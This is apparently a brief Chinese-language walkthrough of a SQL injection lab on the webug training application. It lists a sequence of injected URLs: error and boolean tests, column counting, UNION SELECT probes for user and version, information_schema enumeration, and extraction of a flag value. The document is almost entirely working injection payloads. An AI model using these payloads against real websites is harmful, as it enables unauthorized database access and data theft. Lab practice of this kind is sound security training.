http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ 报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=1 %23 不报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=2 %23 报错

使用联合查询
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ order by 2 %23 长度为2，3时报错

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,2 %23 显示出2

下面可以查出用户权限，数据库版本，当前数据库等
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,user() %23

用户权限： root@localhost，数据库版本：5.5.53，当前数据库：webug

查看webug中数据表
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ %23

http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ %23

查询flag下的值
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,flag from webug.flag %23

flag： dfafdasfafdsadfa